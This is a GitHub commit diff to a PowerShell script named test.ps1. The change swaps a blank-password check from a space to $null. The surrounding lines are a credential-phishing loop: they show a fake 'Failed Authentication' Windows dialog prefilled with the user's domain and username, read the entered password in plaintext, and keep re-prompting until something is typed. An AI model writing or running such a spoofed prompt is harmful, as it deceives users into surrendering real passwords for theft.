Update test.ps1

This commit is contained in:
I-Am-Jakoby 2023-01-03 20:22:57 -06:00 committed by GitHub
parent f358d74d66
commit 3c7f15b490
No known key found for this signature in database
GPG key ID: 4AEE18F83AFDEB23

View file

@ -55,7 +55,7 @@ while ($form -eq $null)
{
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password
if ($cred.Password -eq " ")
if ($cred.Password -eq $null)
{
Write-Output "Credentials cannot be left blank. Please try again."
$form = $null